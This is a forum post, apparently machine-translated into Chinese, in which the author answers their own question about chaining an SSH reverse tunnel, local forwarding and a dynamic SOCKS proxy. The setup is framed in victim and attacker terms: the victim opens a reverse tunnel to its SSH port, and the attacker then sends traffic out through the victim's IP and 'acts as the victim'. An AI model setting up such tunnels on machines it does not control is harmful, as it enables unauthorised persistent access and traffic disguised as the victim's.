显然没有人可以回答这个问题,这没关系,因为我自己找到了答案。
这是答案:
- 关于受害者:
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- 在攻击者#1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- 在攻击者#2上:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- 在攻击者#3:在Firefox或IRC,甚至对于一般网络设置:袜子(V5)代理服务器设置:127.0.0.1端口3333
您将端口3333设置为主机localhost的每个应用程序都将通过serv隧道传输给受害者,当您访问类似http://myip.com的内容时,您将看到受害者的IP /主机。从这里开始,您甚至可以在攻击者身上使用GUI应用程序(如果您为特定应用程序或整个系统设置了socks设置),这些应用程序将通过serv隧道传输给受害者,您将充当受害者。
我在思考过程中犯的错误是我并不真正理解反向端口方案的样子,我将尝试用简单的术语来解释它。
受害者行动
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
我不会在shell中运行命令
-f
=将进程放在后台(这样就可以关闭终端窗口)
-R
=反向隧道
5555:localhost:22
= 5555是serv内部正在侦听的端口,将数据转发到受害者的端口22 。如果您已设置受害者在端口2222上运行ssh,则应将22更改为2222。
-p
=在其上的ssh端口SERV正在运行。
第一次攻击行动
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
您对attacker(-L 4444:localhost:5555
)执行的第一个命令将设置一个隧道,以便您与第三个命令的连接将通过隧道连接到受害者。(这仅适用于动态端口转发/ Socks应用程序)
如果你只想对受害者进行shell访问而不是这个命令,你只需要进入serv而不是运行命令:'ssh user_on_victim @ localhost -p 5555'。
但我们不希望shell访问,我们想要动态地隧道传输所有数据,因此我们必须进行端口转发。
或者说明原理
-L
=本地端口转发(在服务上)
- 4444:localhost:5555
将所有数据输入端口4444到端口5555。
第二次攻击行动
你对攻击者发出的第二个命令
ssh -p 4444 -D localhost:3333 user_on_victim @ localhost
是通过2个隧道初始化连接的实际命令。你要做的就是你说:连接到端口4444,并把所有的到来在(localhost端口3333),以4444的数据(将通过放在本地的SERV端口5555 -这将被推出到端口22>对受害者。
或者说明原理
-D
=动态转发
localhost:3333
=侦听端口3333并通过ssh连接将数据推送到端口4444到serv。
-p 4444
= serv正在侦听的端口将数据转发到端口5555,而不是输出到受害者的端口22 。
第三次攻击行动
设置应用程序甚至整个系统以在地址:localhost端口:3333上使用SOCKS(v5)代理服务器。这些应用程序在哪些端口上正常运行并不重要,因为它将由代理服务器处理。理论上,每个应用程序都可以通过socks代理动态端口转发运行 你只需要设置它。:)
针对攻击者的第三个操作是您要向受害者隧道传输的实际数据。这是什么数据或应用程序并不重要,这就是为什么它是动态转发,这些应用程序运行的端口并不重要,因为它将由SOCKS处理。
我希望有人在我的解释中找到用处。
祝你今天愉快....